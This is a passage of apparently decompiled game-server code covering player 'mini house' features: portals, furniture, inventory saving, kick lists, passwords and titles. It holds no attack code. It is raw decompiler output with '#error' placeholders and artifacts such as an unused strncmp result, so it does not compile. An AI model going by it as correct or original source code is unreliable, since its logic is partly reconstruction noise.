**)(ShineObjectClass::ShineMiniHouse *, signed int))(v62 + 512))(v3, 1); v63 = *(_DWORD *)v15; LocateXY = v85; v80 = v86; v71 = (int)&LocateXY; v70 = (int)&v83; (*(void (__thiscall **)(void *, char *, int *))(v63 + 404))(v15, &v83, &LocateXY); } else { v55 = *(_DWORD *)v15; v71 = 10; v70 = 9; v69 = 6; v68 = &MapPotalLinkToPos; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, char *, signed int, signed int, signed int))(v55 + 1528))( v15, &MapPotalLinkToPos, 6, 9, 10) ) { v56 = *(_DWORD *)v15; v71 = (int)&deb_LF; v70 = (int)"] cannot out minihouse"; v57 = (*(int (__thiscall **)(void *, _DWORD, DebugLineFeed *))(v56 + 1736))( v15, "] cannot out minihouse", &deb_LF); v71 = (int)NameString::operator__(&namestring, (Name4 *)(v57 + 2)); v58 = DebugLogging::operator<<( &InnerMiniHouseLog, "ShineObjectClass::ShineMiniHouse::so_mh_EffectApply : player ["); v59 = DebugLogging::operator<<(v58, (char *)v71); v60 = DebugLogging::operator<<(v59, v72); DebugLogging::operator<<(v60, v73); v61 = *(_DWORD *)v15; v73 = 0; v72 = 0; v71 = 1669; (*(void (__thiscall **)(void *, signed int))(v61 + 1520))(v15, 1669); return 0; } } } } return 0; } //----- (0051A350) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DeActivePortal(ShineObjectClass::ShineMiniHouse *this) { this->smh_PortalList.isActivePortal = 0; this->smh_PortalList.PortalDeActiveTime = 0; return 1; } //----- (0051A370) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalEffect(ShineObjectClass::ShineMiniHouse *this) { __int16 v1; // bp@1 void *result; // eax@2 unsigned int v3; // ebx@4 unsigned int v4; // edi@6 void *v5; // eax@7 void *v6; // esi@7 unsigned int v7; // eax@8 v1 = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 288))(); if ( v1 == -1 ) { result = 0; } else { if ( gMiniHouseObjEffect.m_pHead ) v3 = gMiniHouseObjEffect.m_pHead->nNumOfRecord; else v3 = 0; v4 = 0; if ( v3 ) { while ( 1 ) { v5 = CDataReader::GetRecord(&gMiniHouseObjEffect, v4); v6 = v5; if ( v5 ) { v7 = BTree::operator__(&stru_131DE8B8, (const char *)v5 + 2); if ( v7 != -1 ) { if ( (_WORD)v7 != -1 && (_WORD)v7 == v1 ) break; } } ++v4; if ( v4 >= v3 ) goto LABEL_12; } result = v6; } else { LABEL_12: result = 0; } } return result; } //----- (0051A3F0) -------------------------------------------------------- #error "51A3F0: undefined or illegal type '#593' (funcsize=347)" //----- (0051A870) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_CanFurnitureEmotion(#593 *this, #593 *a2, PROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ *pReq) { return 5897; } //----- (0051A880) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsFurnitureEmotion(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, char nPosition) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebx@1 int v5; // edi@1 int v6; // eax@2 char result; // al@5 v3 = this; v4 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v5 = 5 - (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 112))(v3); if ( v5 >= v4 ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 104))(v3, v5); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 696))( v6, nFurnitureHnd, nPosition) == 1 ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_5; } result = 0; } return result; } //----- (0051A8E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_FurnitureEmotionStop(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nFurnitureHnd, #593 *owner) { char *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 int v5; // ebp@1 int v6; // ebx@1 int v7; // eax@3 int v8; // esi@3 int v10; // [sp+10h] [bp-24h]@2 int nInnerPlayerCount; // [sp+14h] [bp-20h]@1 char *nc; // [sp+18h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@8 int v14; // [sp+30h] [bp-4h]@8 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = -29593; nc = v3; v5 = 0; nInnerPlayerCount = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 108))(); v6 = 5 - (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v4->gap0[0] + 112))(v4); if ( v6 < nInnerPlayerCount ) { v10 = (int)(v3 + 4); do { v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v4->gap0[0] + 104))(v4, v6); v8 = v7; if ( v7 && (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v7 + 692))(v7, nFurnitureHnd) == 1 ) { *(_WORD *)v10 = *(_WORD *)(v8 + 4); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 688))(v8); ++v5; v10 += 2; } ++v6; } while ( v6 < nInnerPlayerCount ); if ( v5 > 0 ) { *((_WORD *)nc + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 2 * (unsigned __int16)v5 + 4); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap((void *)owner, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } return 1; } //----- (0051A9F0) -------------------------------------------------------- #error "51A9F0: undefined or illegal type '#593' (funcsize=98)" //----- (0051AB10) -------------------------------------------------------- CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 CIDEB_Element *v5; // ecx@2 CIDEB_Element *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = this->cideb_Array; while ( v5->ce_ItemID != itemid ) { ++v3; ++v5; if ( v3 >= v2 ) goto LABEL_5; } result = &v4[v3]; } return result; } //----- (0051AB50) -------------------------------------------------------- MiniHouseEndure *__thiscall MiniHouseEndureDataBox::operator__(MiniHouseEndureDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 MiniHouseEndure *result; // eax@3 if ( sub >= this->mhe_Number ) { result = this->mhe_default; } else { v2 = this->mhe_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->mhe_BinData; if ( sub < v2->nNumOfRecord ) result = (MiniHouseEndure *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (MiniHouseEndure *)(v3 + 60); } return result; } //----- (0051AB80) -------------------------------------------------------- #error "51AB80: undefined or illegal type '#593' (funcsize=110)" //----- (0051ACF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_CHAR_ITEM_CMD *ItemCmd, int inventype) { ShineObjectClass::ShineMiniHouse *v3; // esi@1 int v4; // ebp@1 int v5; // edi@2 PROTO_NC_CHAR_ITEM_CMD *v6; // ebx@6 unsigned __int16 v7; // ax@9 int v8; // ebx@9 int v9; // ST04_4@10 DebugLogging *v10; // eax@10 DebugLogging *v11; // eax@10 ChargedEffectContainer *v12; // eax@11 int v13; // eax@13 int v14; // ebx@13 int v15; // edi@14 __int16 v16; // bp@15 int v17; // eax@15 CIDEB_Element *v18; // eax@22 CIDEB_Element *v19; // ebp@22 ShineDateTime *v20; // eax@24 MiniHouseFurniture *v21; // ebp@28 int v22; // edx@36 char *v24; // [sp+4h] [bp-3Ch]@10 FunctionEntarance _; // [sp+18h] [bp-28h]@1 int nEndureGrade; // [sp+1Ch] [bp-24h]@24 int v27; // [sp+20h] [bp-20h]@9 int ibii; // [sp+24h] [bp-1Ch]@11 int v29; // [sp+28h] [bp-18h]@13 int v30; // [sp+2Ch] [bp-14h]@11 int v31; // [sp+3Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = inventype; v31 = 0; switch ( inventype ) { case 3: v5 = (int)&v3->smh_Furniture.FurnitureInven; goto LABEL_6; case 13: v5 = (int)&v3->smh_Furniture.AccessoryInven; goto LABEL_6; case 14: v5 = (int)&v3->smh_Furniture.TileAllInven; goto LABEL_6; case 16: v5 = (int)&v3->smh_Furniture.MiniGameInven; LABEL_6: v6 = ItemCmd; if ( ItemCmd->nPartMark & 1 ) ItemBag::ib_clear((ItemBag *)v5); ItemBag::ib_Initializetotal((ItemBag *)v5, &v6->ItemCmd.numofitem, (PROTO_ITEMPACKET_TOTAL *)&v6[1], v4); if ( !(v6->nPartMark & 2) ) goto LABEL_37; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 132))(v3); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v27 = v8; if ( !v8 ) { v9 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 128))(v3); v10 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player regnum["); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); v31 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; LABEL_40: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); return 0; } v12 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1172))(v8); ItemBoxIterItem::ItemBoxIterItem((ItemBoxIterItem *)&ibii, (ItemBag *)v5, v12); LOBYTE(v31) = 1; v30 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v13 = (**(int (__stdcall ***)(_DWORD))v29)(v30); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); if ( v15 ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v15 + 116))( v15, v13, v3->smh_Furniture.FurnitureHandle++); v16 = *(_WORD *)(v14 + 8); MoveManager::MoveManager((DiceTaiSai *)&ItemCmd); LOBYTE(v31) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_21; } ItemCmd = (PROTO_NC_CHAR_ITEM_CMD *)-10; LABEL_21: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&ItemCmd) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v18 = ChargedItemEffectDataBox::cideb_GetIndex( &minihousefurnituredatabox, (ChargedItemEffectFinger *)&ItemCmd); v19 = v18; if ( v18 ) { if ( v18->ce_Data ) { v20 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v15 + 120))(v15, v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v19->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nEndureGrade) ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v15 + 132))(v15, v14, nEndureGrade); } } if ( inventype == 16 ) { if ( v19 ) { v21 = v19->ce_Data; if ( v21 ) { if ( v21->GameType == 1 && *(_BYTE *)(v14 + 10) & 1 && ((unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v3->gap0[0] + 532))(v3) == 1 || !(unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(*(_DWORD *)&v3->gap0[0] + 448))( v3, v14)) ) { LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); ibii = (int)&ItemBoxIterator::_vftable_; v31 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } } } } LOBYTE(v31) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&ItemCmd); } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v8 = v27; } v22 = *(_DWORD *)&v3->gap0[0]; ++v3->smh_Info.CanEnter; (*(void (__thiscall **)(ShineObjectClass::ShineMiniHouse *, int))(v22 + 216))(v3, v8); ibii = (int)&ItemBoxIterator::_vftable_; LABEL_37: --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"); return 1; default: v31 = -1; v24 = "ShineObjectClass::ShineMiniHouse::so_mh_SaveMHInven"; goto LABEL_40; } } //----- (0051B070) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v1->gap0[4], 0, 19); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_RemoveMH"); return 1; } //----- (0051B140) -------------------------------------------------------- #error "51B140: undefined or illegal type '#593' (funcsize=166)" //----- (0051B3C0) -------------------------------------------------------- #error "51B3C0: undefined or illegal type '#593' (funcsize=184)" //----- (0051B660) -------------------------------------------------------- #error "51B660: undefined or illegal type '#593' (funcsize=205)" //----- (0051B940) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOut(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int result; // eax@2 signed int v6; // eax@3 int v7; // ecx@4 signed int v8; // eax@8 int v9; // ecx@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; LOBYTE(v4) = v2->smh_Info.KickOutPlayerCount; if ( (unsigned __int8)v4 < 0x14u ) { v6 = 5; if ( v2->smh_Info.EnterPlayerCount <= 5u ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4498; } else { v7 = (int)&v2->smh_Info.EnterPlayerIndex[5]; while ( *(_DWORD *)v7 != srn ) { ++v6; v7 += 4; if ( v6 >= v2->smh_Info.EnterPlayerCount ) goto LABEL_7; } v4 = (unsigned __int8)v4; v8 = 0; if ( (signed int)(unsigned __int8)v4 <= 0 ) { LABEL_12: v2->smh_Info.KickOutPlayerIndex[v4] = srn; ++v2->smh_Info.KickOutPlayerCount; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4481; } else { v9 = (int)v2->smh_Info.KickOutPlayerIndex; while ( *(_DWORD *)v9 != srn ) { ++v8; v9 += 4; if ( v8 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4496; } } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOut"); result = 4495; } return result; } //----- (0051BAD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel(ShineObjectClass::ShineMiniHouse *this, unsigned int srn) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 char v3; // cl@1 signed int v4; // eax@1 int v5; // edx@2 int result; // eax@5 char v7; // cl@6 int v8; // ecx@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->smh_Info.KickOutPlayerCount; v4 = 0; if ( v3 ) { v5 = (int)v2->smh_Info.KickOutPlayerIndex; while ( srn != *(_DWORD *)v5 ) { ++v4; v5 += 4; if ( v4 >= v2->smh_Info.KickOutPlayerCount ) goto LABEL_5; } v7 = v3 - 1; v2->smh_Info.KickOutPlayerCount = v7; if ( v4 < (unsigned __int8)v7 ) { v8 = (int)&v2->smh_Info.KickOutPlayerIndex[v4]; do { *(_DWORD *)v8 = *(_DWORD *)(v8 + 4); ++v4; v8 += 4; } while ( v4 < v2->smh_Info.KickOutPlayerCount ); } v2->smh_Info.KickOutPlayerIndex[v4] = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4481; } else { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_KickOutCancel"); result = 4494; } return result; } //----- (0051BBF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer(ShineObjectClass::ShineMiniHouse *this, char NewMaxPlayer) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)NewMaxPlayer >= 1u && (unsigned __int8)NewMaxPlayer <= 0x63u ) { if ( v2->smh_Info.EnterPlayerCount <= (unsigned __int8)NewMaxPlayer + 5 ) { v2->smh_Info.MaxPlayer = NewMaxPlayer + 5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4492; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetMaxPlayer"); result = 4491; } return result; } //----- (0051BCF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword(ShineObjectClass::ShineMiniHouse *this, char *NewPassword) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebx@1 int v4; // eax@4 int result; // eax@5 char v6; // bl@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; do { if ( !NewPassword[v3] ) break; ++v3; } while ( v3 < 9 ); strncmp(v2->smh_Info.Password, NewPassword, 8u); if ( v4 ) { if ( v3 ) { if ( v3 >= 8 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4490; } else { v6 = v2->smh_Info.isPublic; v2->smh_Info.isPublic = 0; strncpy(v2->smh_Info.Password, NewPassword, 8u); v2->smh_Info.Password[8] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 2 * (v6 != 0) + 4565; } } else { v2->smh_Info.isPublic = 1; v2->smh_Info.Password[0] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4566; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetPassword"); result = 4565; } return result; } //----- (0051BE90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ST10_4@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v7; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_BriefInfo.bimh_BriefInfo->title; v7 = 0; strncpy(v2, v1->smh_Info.Title, 0x14u); v1->smh_BriefInfo.bimh_BriefInfo->title[20] = 0; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29647; *((_WORD *)v3 + 1) = *(_WORD *)&v1->gap0[4]; strncpy(v3 + 4, v1->smh_Info.Title, 0x14u); v3[24] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 25); v4 = *(_DWORD *)&v1->gap0[78]; LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_SendOutSideTitleCmd"); } //----- (0051BFB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle(ShineObjectClass::ShineMiniHouse *this, char *NewTitle) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // eax@1 char *v4; // eax@12 char v5; // cl@13 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( NewTitle[v3] ) { if ( !NewTitle[v3 + 1] ) { ++v3; break; } if ( !NewTitle[v3 + 2] ) { v3 += 2; break; } v3 += 3; if ( v3 >= 21 ) break; } if ( !v3 ) { v2->smh_Info.Title[0] = 0; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4481; } if ( v3 <= 20 ) { v4 = NewTitle; do { v5 = *v4; v4[(char *)&v2->smh_Info - NewTitle] = *v4; ++v4; } while ( v5 ); v2->smh_Info.Title[20] = 0; goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetTitle"); return 4489; } //----- (0051C0C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->smh_Info.isItemInfoClose = pReq->bItemInfoClose; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetItemInfoOpen"); return 4481; } //----- (0051C130) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_MODIFY_NOTIFY_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pReq->nNotifyLen <= 0x64u ) { strncpy(v2->smh_Info.Notify, &pReq[1].nNotifyLen, pReq->nNotifyLen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_reSetNotify"); result = 6600; } return result; } //----- (0051C210) -------------------------------------------------------- #error "51C210: undefined or illegal type '#593' (funcsize=78)" //----- (0051C340) -------------------------------------------------------- #error "51C340: undefined or illegal type '#593' (funcsize=89)" //----- (0051C480) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart(void *this, void *a2) { void *v2; // esi@1 int v3; // edi@3 int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 176))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MH_SendFunitureInfoStart"); } else { v3 = unk_6BCFC0; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, signed int, signed int, _DWORD, signed int))(*(_DWORD *)a2 + 1584))( a2, a2, 395, 1, unk_6BCFC0, clockwatch.cw_CurrTick, 420000000, 